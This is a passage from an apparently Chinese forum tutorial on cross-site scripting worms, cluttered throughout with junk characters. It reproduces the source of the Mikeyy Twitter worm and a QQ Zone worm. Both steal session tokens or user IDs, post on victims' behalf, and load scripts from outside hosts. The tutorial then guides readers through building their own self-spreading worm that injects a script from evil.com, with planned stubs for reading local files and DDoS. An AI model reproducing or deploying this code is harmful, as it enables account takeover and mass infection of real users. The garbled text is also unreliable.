) O& u" Y1 p+ s+ \) F. L 3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); $ s& u* C# ?) z( m% f
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content); $ \# a3 [; D* A
( L' ~& [6 K7 K# w) ? 7. var authtoken=authtoken[1]; t- Z; ?) T6 p/ _7 F+ U4 f
/ m. j. M Z0 ^( B 8. var randomUpdate= new Array(); % K. c, _( Z7 R% x
& ^" o# y' c1 T) f! \& H. ` 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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9 \' s3 }4 Q& n) u0 c 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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+ g4 W: D( y/ o6 R' t 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 4 ^3 L# N( l, `( C, N7 }( y
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ; W8 |5 k. `1 V
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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! p# V7 o$ ?& {8 B& ~9 _( Y 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 4 B1 w5 _4 R2 @
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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, m# y/ c0 z: Q. `2 _" Y: j 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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, |8 L0 s! D+ d: g/ ] 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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" l7 o& Q2 U* K: W+ F 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 7 N* M8 ?0 E5 M6 d
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 6 j& e5 }! D% V7 e: I) e1 p
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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) G' m# b$ @; a) F% P" d3 P$ c# w4 ~ 24. 4 T( R2 K" Z9 v4 Q) @
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; " Z8 [1 _9 ^' E0 V0 O! I& `
$ W7 p1 L9 f. r- }4 p 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27. - B" m9 @+ r: ~
9 ?1 d" _, n( G- n% A+ B& X 28. var ajaxConn= new XHConn();
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9 a W, Q, {4 H% ` Q7 m; b 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); : `' s& q3 C3 Y
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30. var _0xf81bx1c="Mikeyy";
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' {7 E: O7 o' r9 \/ O 31. var updateEncode=urlencode(_0xf81bx1c); " x$ C5 g% o6 x9 i- @
# w* ~8 Y+ V0 J8 E 32. var ajaxConn1= new XHConn(); 5 q# K$ ]5 L9 [& L+ M6 G
1 Q; j. o+ o( \* `/ r 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 0 G* I {1 K, k
6 f s$ y% I# ^% ?' z5 }( C 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ' x" l$ U) {, B4 q1 R" H
* i' y! {0 t5 J" E! B6 \+ K6 ~, g 35. var XSS=urlencode(genXSS);
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1 x* f% U( i) g9 `( l 36. var ajaxConn2= new XHConn(); 9 j; D& M, b# k3 f b8 p4 x
! n; w0 E$ K$ |1 C7 e 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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" J5 P7 Y2 r- S4 h, ~ 38.
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39. } ;
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40. setTimeout(wait(),5250);
: }3 s/ m3 ^* l6 Z/ K复制代码QQ空间XSSfunction killErrors() {return true;}4 B) k1 Z% y) m4 o
1 q( }3 z8 v4 m; E. y. s2 F/ pwindow.onerror=killErrors;
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var shendu;shendu=4;
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8 |! z* `! q8 a! U% b- v* o//---------------global---v------------------------------------------$ a! j( F' P2 \1 s" J2 U' l
" d, r: r. b) Y0 F# _//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?! I |' _+ u" C' W$ E$ ~
/ s1 Y( j, f* r: `var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();4 U) [# t# l9 |* B+ S7 ]
/ n3 }" B/ T5 _7 ]' ^/ v O1 ] var gurl=document.location.href;1 a0 o, E! u# B/ ~7 j4 D
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var gurle=gurl.indexOf("com/");+ g9 s0 F. X' N
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gurl=gurl.substring(0,gurle+3); 7 s0 h" y* k" d: T8 l
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var visitorID=top.document.documentElement.outerHTML;
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, m8 Q7 _6 a& I( N, K2 w$ W var cookieS=visitorID.indexOf("g_iLoginUin = ");* y2 ^0 F$ A2 w: {+ v( d+ l$ J3 B8 [# a
1 D1 H/ `; ] s m$ c visitorID=visitorID.substring(cookieS+14);. W4 P$ @' r( j/ d9 ~/ J* [9 X1 y
7 ~* z; }+ I# k( X' B cookieS=visitorID.indexOf(",");- ~; l ]3 x3 ` W9 ^2 L0 X
7 h. H$ f7 D) [+ ] visitorID=visitorID.substring(0,cookieS);6 P. A; j% K; N B& q
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get_my_blog(visitorID);6 z5 F" T$ J" B9 Y$ E2 C1 [
7 m8 ~" F8 E- ~$ s DOshuamy();
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8 ]1 }% F5 e0 t1 }5 e4 E2 ^0 W) R4 o) A/ I5 U
//挂马
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function DOshuamy(){
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( E2 D5 v' _8 C" ?7 r* I( Wvar ssr=document.getElementById("veryTitle");, V" l/ h1 l8 J2 i! }& h" |+ o
: r$ p* \( ~) _2 p$ A5 X+ W& V! fssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?! p! I3 Z3 G0 G& `3 K+ r
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function get_my_blog(visitorID){
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";# o" W* J- E1 D! x3 A/ g8 j l- d
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象2 i/ n1 g- I; l8 v' K9 K9 w' O" G C
( y' l. v7 j" d0 s% s+ U: L if(xhr){ //成功就执行下面的* M0 z; E# ~9 r2 o8 H' z
7 w: m: q& E( h xhr.open("GET",userurl,false); //以GET方式打开定义的URL+ L3 p* z7 o- R# n% J5 N# G
" t+ O: j' l3 }( p/ N xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的5 z( d& Y, e+ s9 ^; ~5 U, U
8 ?' e/ r/ q3 @' Z2 T, H. Ofunction get_my_blogurl(guest){
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! C$ {/ b- r1 `5 N! p var mybloglist=guest;
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8 P& c) n6 d# K. e7 T: ^ var myurls;var blogids;var blogide;
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9 X1 P+ A6 [6 }9 |& |; i for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了 G# y7 `. s# G: E
$ ]' b: e' G0 [" T2 k' y4 a if(myurls!=-1){ //找到了就执行下面的
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* Y: j6 ]+ b4 I H2 T; q mybloglist=mybloglist.substring(myurls+11);
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* X! g9 L K+ K4 b" Z& [( J myurls=mybloglist.indexOf(')');+ S% H0 l! E4 M+ I" u0 _2 X
- |/ [8 k, s- z; H% D* _. c myblogid=mybloglist.substring(0,myurls);4 B) `! o. e- L+ z' ]* \
/ Q `* t. L$ r% @; y }else{break;}4 P! t/ {; x: q3 R4 x) ~+ s! M
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get_my_testself(); //执行这个函数+ |0 ~* n2 F6 [- g' ]
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}
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?: _. U/ o; G" y8 Q! _5 C3 g1 R//这里往哪跳就不知道了
# s6 e2 c$ L' Z) K2 Q
5 e8 g* Q: z9 l+ A8 ~) ], p' ^5 Lfunction get_my_testself(){
( H! e# f4 }" o2 {/ v# k9 j/ W1 ^ h W0 o* c8 ]
for(i=0;i<myblogid.length;i++){ //获得blogid的值
0 V: l6 Q) X/ M1 }9 y
# }" i5 z3 { f- f) B var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
& @$ Q* y& m3 b$ w" J6 o1 s! i8 @
' Q2 @' {7 J* H# P0 s! x var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
# J+ G" G: v3 d1 ?+ i
0 O7 \( ^+ ~4 {/ S if(xhr2){ //如果成功
+ t6 {* [2 [, X$ ]' S
# i1 @$ i+ @- c3 w6 y8 R7 B, z xhr2.open("GET",url,false); //打开上面的那个url
/ X5 W- C+ T+ S9 C% Q
5 W' U5 V: P7 x4 v6 r' Y8 o; B8 l) [ xhr2.send();5 U) b* M' ~& V' F0 L7 L
- s2 b4 K5 d. }* X' [$ n guest2=xhr2.responseText;: C& u; Z- ?6 O9 {; v* E
. ?, Z& {( ~+ j3 L! |$ r3 H var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
, Z4 k1 _2 {; k, z7 ^ N/ L
) U- h8 D" p" o& C# B var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
, w9 Y8 o# w0 o# G) ?/ y+ D1 U7 ?+ W9 v7 s, Q* a
if(mycheckmydoit!="-1"){ //返回-1则代表没找到 Y+ [9 S# U5 A1 ^
* w4 m# y4 ~/ o+ c: y
targetblogurlid=myblogid; 1 [) R* `) O3 b ^1 O/ I
. P% v( [9 D3 s5 m add_jsdel(visitorID,targetblogurlid,gurl); //执行它5 P" h6 }9 P. {7 \! d% o' k
4 H& E" E' a( Z i! S break;
( K! ]1 M' X' N1 o2 t! W ~4 a
}8 B m K: |2 l
4 p! [0 i7 _* s9 I& B& T2 W
if(mycheckit=="-1"){5 [2 J. q9 w8 l0 B% f0 W% L0 O
" j2 u2 b2 N0 ^; ^' o4 w2 n
targetblogurlid=myblogid;
8 T- B$ v* L* f+ B( ]* _: u# w
# L5 u) U; R& N' d! o add_js(visitorID,targetblogurlid,gurl); //执行它; c9 [0 y/ i& ^4 x. X0 i! [- ^
# t- i, X! L0 Y- T( _
break;- {& H* E x \0 W5 N/ s9 V
/ D2 |$ F' K7 d) c! B1 L
}9 d$ D# Y; B% M+ J
7 S* g9 M" k$ V& `) C Y' y" Y9 D } ; U- u0 B6 ?. f2 V9 L% o
9 A* c+ y: h. g- e7 ]; V
}) a4 e7 H r' w2 g' P
/ I0 l: g' b0 G" W& n. [) ] g
}5 D8 R' V: r! O0 W
$ z* M' e, m3 |5 J+ r% \5 {
. a# h1 \8 _7 `- N" V" s# I
! @4 c3 c0 j& S9 f Y4 Q//-------------------------------------- 3 \5 P- x( Q% Z
# N0 g& {, x- N, s//根据浏览器创建一个XMLHttpRequest对象 p5 Y: T+ k) L- p6 E! N ]2 _
4 a0 t' m- [% ]4 c3 M* j6 K
function createXMLHttpRequest(){! I, K- d# ] P6 ^1 e
6 p5 G( u9 k6 _ S$ ~' S
var XMLhttpObject=null; 1 [1 ?) n- I I
% u6 m, b+ m- {6 g if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} , O% ?8 M. d1 X. A8 r0 O
4 V- Z/ k+ d" R3 O else ) F e* F" c) g) O) |0 {6 O
0 G; H3 ^5 H5 x# d. c* M
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
+ r4 ~; ~" m" ? W. _3 k' @, ?1 M0 [3 q. f" S; f, Z
for(var i=0;i<MSXML.length;i++)
) c# X. m1 ]/ H7 W* D+ ^6 i& M1 q/ u7 M: N
{
" e c4 ~3 ~2 K" b) _& q$ q- \
/ @) k. }9 C" W2 k3 l2 R try & ~% x, m% h/ T7 f0 j t4 o' t
, g( z& I, h. m: U7 a s! v { ; t( V' X4 `" y6 q! ?4 J- f1 F
/ M' b) p" y" m! H K: F XMLhttpObject=new ActiveXObject(MSXML); + q- b H) v* \ d' G g
% \2 k4 o \& i" R& c break; 3 T: `0 o) V' k3 j! c. a4 @) O) f. u
6 n% `- `/ o" s
}
, `: I W$ U0 V$ |
8 d; p4 }" _. A3 W" k0 J: k catch (ex) { 2 H" u1 }( t6 g
+ u, T, i1 |! ~3 ]# j1 F( n
} ( I' n3 F! ^/ l, F4 K. N
9 f6 {3 A* g* L) z } - j" p$ z" ^# Z* @2 N
8 S# E$ ]3 T8 e) p2 }. p3 ]5 ~7 I }, A# g8 [: p1 J' u
) G5 G* u$ Q1 W! y6 f
return XMLhttpObject;" r1 g, N4 P+ q' D$ y; }8 q
/ D1 Z8 K% K# ^( l: i. ?3 @}
K( Y2 H2 y ]
1 a) J9 [ @- Q, K7 s/ I7 w. M! Z7 N+ f, i+ _" } C3 V2 L5 w; m
$ M* J& x% `( C6 n; N- v5 D7 P9 e5 H' }
//这里就是感染部分了8 {% f! T% `0 o9 j
7 g# z' n' W/ Z+ }! {
function add_js(visitorID,targetblogurlid,gurl){
+ N$ r9 @+ m* v7 B5 K2 }
7 W8 L3 [9 i/ ` {9 ?( Pvar s2=document.createElement('script');) N; U& ~5 ^, ~& k7 S6 q* D, V
' |9 m) k/ l8 F( Z# r8 i3 `
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' j+ e! V4 R* ~" @9 j/ e* `8 V2 C. S4 S5 g! [ |5 z% ^) m2 E
s2.type='text/javascript';6 [: L7 Z" i2 c9 O4 ]7 ^4 c. G
4 u5 @* { v2 v1 V" ]" ?document.getElementsByTagName('head').item(0).appendChild(s2);# P: O5 p6 w! Z% N9 W2 y
9 y+ `7 k' U/ q}+ \2 H1 R- L" L# P) n
. n" r* v. m6 {; K9 r8 }( U
|6 M" h$ O$ |2 Z2 o. N: ]
( {! }- N8 }0 H; @) lfunction add_jsdel(visitorID,targetblogurlid,gurl){! @! v4 Y9 E/ U
* q7 x( ]. h' r# ?, Vvar s2=document.createElement('script');
4 `# Q6 E I! l. ^& _& U! u8 q7 W7 j) S- x) N, R d, n/ P, O) Q/ [5 u( w+ W
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ o) m: g1 C9 E) H/ k+ {! z- ?" `* i1 G
s2.type='text/javascript';
! E) ~+ K& j2 I, n5 ^
1 w4 Q6 R, }! Y% l! f9 Ddocument.getElementsByTagName('head').item(0).appendChild(s2);# a5 J6 _5 a; X
3 n* m- z' j2 s. G$ I}. B1 y( L# ]/ Y# d) x
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:9 i% i9 R( k5 N N8 y7 l6 D
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)& D- `* ~' u7 S, M
& u* L9 C& Y" M6 y
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
5 q* {1 @8 I/ M9 |0 g2 {6 p5 t: e9 D$ R7 e) t! y
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~9 L" N" ?+ ?5 H- v# Q5 x* p
2 W; C6 S3 ]; P/ F, I2 `0 a9 e8 T# j" Y" q% N: I6 Y
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
' F1 F/ x c/ D, n$ [# u$ W
. ~0 l$ x3 q1 h" c# i7 k% p! Q, M首先,自然是判断不同浏览器,创建不同的对象var request = false;$ y6 E( Y r0 V0 o3 V8 u% i
5 ^$ w4 ^% V+ S% W
if(window.XMLHttpRequest) {- z" G% i5 A2 d; A: r
0 q- x" z7 j; s: l
request = new XMLHttpRequest();. T9 t& ~: z0 z% z; Z! ]1 R
. M, P* A6 O7 |' \2 S/ sif(request.overrideMimeType) {
/ J8 A. @4 S5 J; X
8 O. c! D$ S; A9 erequest.overrideMimeType('text/xml'); i6 d9 n- t: k7 ^0 J
9 l1 x1 ]. ^) F}. \1 y( v( y; X- w) A# q5 T
2 O0 ~1 [, ]2 G2 p2 Q M} else if(window.ActiveXObject) {
M @; h2 u0 X% f% @' [6 v
9 ]$ c) g1 K- X) evar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 g+ z# I! u: U
. T% e) S# W/ E2 X+ } afor(var i=0; i<versions.length; i++) {8 H8 p5 Y# v+ ~4 H
& B# L/ l. X2 ?try {1 ]/ O0 E h% c
# u6 X" ~. G! V9 K1 }request = new ActiveXObject(versions);4 }. g1 U' `, Z! C
3 q8 N; D, G: f& B$ D} catch(e) {}0 I- I5 }0 d& c2 Y8 _" C4 v* m' \8 j
( u/ J0 G1 Q7 d}, P' @# ]/ `+ h( P
/ p, v0 d; Y9 q' i J7 {2 U}( b. w# P& l$ ~3 ^
5 h# O7 _0 D- I; u
xmlHttpReq=request;
* ^4 _, A: w6 D7 |( F% A复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){; F6 Z3 p0 W$ s+ G4 o, f
3 U- j# S" J! \) Z1 Z$ G
var Browser_Name=navigator.appName;
5 P, c ^' {; `4 o, n: c
1 T/ K! s/ B+ e7 T var Browser_Version=parseFloat(navigator.appVersion);! H+ q% Q7 V9 Q1 E1 {/ F
7 K# w# c; X, h1 T) v0 I
var Browser_Agent=navigator.userAgent; e9 E% d# d' K: K" ^
7 N% e0 `8 N( ^4 y" N
/ `& M) a [, j* q' F. d3 i" U# ?& T4 k# @! U2 Y+ N5 _& Z
var Actual_Version,Actual_Name;
1 S! b3 I1 ^* L7 O
& D$ P; A- O i
: D0 `" n0 @) o# z8 ~ K+ Q2 `/ ?/ n6 @3 _; n
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
: a5 H) y! j& m8 }* m5 H5 |3 W6 I% E/ P
var is_NN=(Browser_Name=="Netscape");! ~: n, U! g; }- _( v
0 ~! G6 Q. i4 M9 s var is_Ch=(Browser_Name=="Chrome");
7 i4 R" a( a/ k. M" b0 _( Z+ R U0 r& [$ R$ F! A
$ w0 Z( ^1 z& [9 j; Q# }
' X* v& ]' Q8 g3 O. T. P! s
if(is_NN){
# a: p9 }# y7 b* z6 p" ?; ?2 m( @) F6 E( |1 H7 s; ]
if(Browser_Version>=5.0){
1 A a3 a5 ?. k N, P# p# }
" t! Y$ {" u) g3 f# E" _9 r2 N8 R: | var Split_Sign=Browser_Agent.lastIndexOf("/");
8 w1 N: V K q& g$ M
& f8 e+ l l5 f6 [$ h% D# D+ X var Version=Browser_Agent.indexOf(" ",Split_Sign);5 \2 t* U% W" a0 Y5 q: v
1 ^( { B \& v; t4 `1 N1 T
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
( I8 n* m9 c; v0 |8 `, F
2 k4 z* M# U" I4 n5 T
" E! Y* t) B* k
/ }+ A7 x$ B" e W$ [! z Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
1 W/ }# n- z; ^$ d$ [) ~$ h- E/ I. O1 C( w4 x( Q
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 u9 \8 R5 n- p/ f/ P. J+ w
9 o7 x& c3 d+ {4 m3 Q& T }
, }5 o) j6 G; r8 K8 Y2 j1 V* W: l/ q7 |2 H" y
else{% o" _2 k0 B+ K' {8 _9 C
@$ } h& l; _9 V, |7 x- b! c Actual_Version=Browser_Version;
; @, Z1 K. u. G4 D; p2 q# x! T# i! n+ G& y+ ^" ~- p4 H# z
Actual_Name=Browser_Name;
. K0 d: q7 s* T% j3 J( F5 a# u- u1 {5 D) |
}$ t% b; v# p7 U( z' `
0 l2 n& c7 P5 Z4 R; S6 i
}
, B/ b. m ?& S8 V2 j; C; E
) l+ S% t* v. K9 M else if(is_IE){
3 \* n! s% ?" D4 w9 h
$ k( Q5 L/ S! ?) i" U" C var Version_Start=Browser_Agent.indexOf("MSIE");
; S8 V& r X1 s" f7 g1 n Z3 _
7 Y. M8 f9 m, T) j9 z var Version_End=Browser_Agent.indexOf(";",Version_Start);: p* ^" y" j( n$ x! r8 z
% b6 H& h+ Y' E2 ~5 _ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)3 ~( h, j+ j: p- ?) k/ y6 F
8 _& T7 E/ A6 R) m6 K( p Actual_Name=Browser_Name;
: `4 m+ W% {! s2 q1 Y3 }+ U" ` |. w, g
7 _5 C& G- ^- R7 G6 ~0 e* a 6 m# I# F; g% X- ~5 k3 X
: h* D/ o& |. Z0 u$ A if(Browser_Agent.indexOf("Maxthon")!=-1){
# z }' _( b" ]9 p! Q% |
C: }( h1 i, Y3 s9 F, g, ] Actual_Name+="(Maxthon)";) j" S1 [ w0 [9 p8 z+ [ O6 Q
9 `1 I0 r4 U7 ~3 b6 D* Q" x( H: d
}8 i# {2 k$ N* v% z! b
6 R' B& }/ |. r, y7 Y# k4 N
else if(Browser_Agent.indexOf("Opera")!=-1){! D& `8 n9 u/ `& M u) c
! z; d- N# o: \$ @
Actual_Name="Opera";) F% E9 u* K% o& L
7 E4 G4 H4 y$ K/ X
var tempstart=Browser_Agent.indexOf("Opera");* w& @ {5 u' j
+ D& S/ v& f& M8 s d1 r Z var tempend=Browser_Agent.length;
) @1 \. r" y, [) e" c8 a4 e3 i$ M" L; O0 A9 l2 c$ x2 ~2 l6 C
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% ]2 I5 f, ]7 Y( f2 }# B) G& ]* W/ o- E ]
}) {- b* D8 V' j
# S) v- a- ^# |5 Q1 ^1 v, k
}
4 M3 A5 w: c5 X
$ o% k: q Z, [ F3 M$ y else if(is_Ch){# m y! F" c0 ^2 N F6 L
' Q$ ~. h! I8 N8 s3 v var Version_Start=Browser_Agent.indexOf("Chrome");
3 U$ k, b# l! s8 \4 ^( \
1 g( [7 N) L. `, J/ r8 v var Version_End=Browser_Agent.indexOf(";",Version_Start);
. |) }: v) c1 S+ h) C+ m& x- t* t& e4 F- U" k* P3 @
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)# A Y0 S* @0 c1 J. r- b0 j$ n
, c, `' P' y. N4 h4 P Actual_Name=Browser_Name;1 Y' ?! i( R; B
8 o1 r$ d) K8 J0 F- M* P
. J# p7 s( U' F9 V/ v; l% ^: Z7 n- l! w4 [# W1 g
if(Browser_Agent.indexOf("Maxthon")!=-1){! Z& S5 `0 u- `, t8 e# x
/ d, ?' p* Z. W* s
Actual_Name+="(Maxthon)";4 j# p. r' g1 D
/ J# R4 g: T1 l4 |0 R* \0 h0 s }
+ o6 p6 t* X5 J& T% ~; [
1 B% H0 p/ t0 I5 V' s) K3 ~ else if(Browser_Agent.indexOf("Opera")!=-1){4 T4 N# k4 r, T! d+ y
! q4 {; O8 g0 s2 @4 ~8 H Actual_Name="Opera";
! S: i1 k/ h) Z0 S" ]8 I
4 s! B& h/ T4 d var tempstart=Browser_Agent.indexOf("Opera");( j1 ^# Y& _+ ~5 N: g3 K1 ?+ C. Z; j
8 E2 r* R5 w& j0 E) A; H var tempend=Browser_Agent.length;
2 K3 O* z: L# H) q2 B
" a& l* `4 {9 g5 y/ } Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
. M6 @7 u+ k* |+ u) s
* [, Y! _! Z5 {& e, D* M }* Z8 z" M/ D8 H2 S
4 z3 k! U. ^% `7 o
}7 i. L" `0 E0 V& M# K7 M( f
* v6 d& A2 Z4 G% b
else{ p+ Q. x. l9 t
* i9 {$ a' ~' V) I0 Y
Actual_Name="Unknown Navigator"
6 V' @# _; z! V5 j% z( }# v# m; f% n4 F
Actual_Version="Unknown Version"8 Y; ~3 x' R& f4 N4 T t- j) R
0 l) b2 W+ \0 I7 S }
, h; J. K" B! l- \8 c$ q! o' u+ i0 s/ I" M; M
, k6 X6 ~" z2 _; Y& e: J# C0 ]1 [4 e3 E& k* R0 w2 C- r2 |
navigator.Actual_Name=Actual_Name;
' v6 J# |5 F1 n* t- p
$ e1 ?# o; ?# S5 Z navigator.Actual_Version=Actual_Version;/ L: G% Z$ }4 u4 r. m
! o& f& p. O3 k& l. |
/ Z4 v9 m7 w# V9 w; k$ h
2 o" K% z$ B8 h this.Name=Actual_Name;
; D$ g4 a/ S0 E8 ^; p
4 J5 T0 B- F. P, p this.Version=Actual_Version;) i. F! s( |7 s/ I; Z8 @* g9 @$ L
: p% S8 ^0 a' m5 R% m
}
& P' S8 h3 n. ^) o" O0 m! s9 S% i" q6 A+ {
browserinfo();
4 q4 `9 c" m. l6 V' a/ r* x5 p& x% F6 I, J% ?% c% a# A
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}! |% A3 m' B& B. S0 f: B3 u
' B; g0 G: P. I( N* z/ |
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
$ b4 M |! t ~/ p, X- j: j6 X) v3 R( h; `) u
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}0 C5 H0 K: l, s Z/ E
7 n' r0 n8 c7 R if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}# l6 a' V A( ?1 p
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
- P, W4 e% K& ]2 C( E复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ r( x: }0 w0 {复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.6 J' t0 x. ?' K
' G1 S3 f- G+ q6 f( D5 i. C% T0 Y
xmlHttpReq.send(null);. k3 Q- b& R- J, Z# R, u" Q2 b
& u$ k7 R+ z1 y- `var resource = xmlHttpReq.responseText;
( v0 V+ r) k% t4 Y8 ]. Z, p0 h: @! \' L; M6 V, r' Z
var id=0;var result;3 c+ n' {: w- ]
& L( _! s9 i v
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
# ^5 [3 M8 ^% V$ c) I9 y
# s5 c8 j4 t4 C: d; ?& fwhile ((result = patt.exec(resource)) != null) {
; J' }+ u9 g% o6 Y3 |
. H$ {; k2 f* n1 ^* E+ |+ E4 \, ~& P- K! jid++;; g1 F4 k9 ~$ p8 a
`+ }- W( L |* P8 u}0 V7 N4 F0 ^+ S* g0 y# k
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
- O2 ?8 w& v6 R( u2 ~
: a% k& n% C, wno=resource.search(/my name is/);
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0 c) f/ `* z/ _8 Wvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码./ d9 e$ m3 ~" \! C7 I
3 F4 b" a9 P- ^4 K, ]var post="wd="+wd;% @( y" ^) R7 b3 w6 y
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.% Z$ U2 W4 F) s5 E
6 H( |$ r1 v. E; [xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");* T0 z; K6 v$ |6 ^( @# f! d
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xmlHttpReq.setRequestHeader("content-length",post.length); ; q F4 t$ \. F3 ^* d7 `: |
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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( a. [; m) X' I' y复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方( k. \! M# J+ k( V7 M' V* g0 K
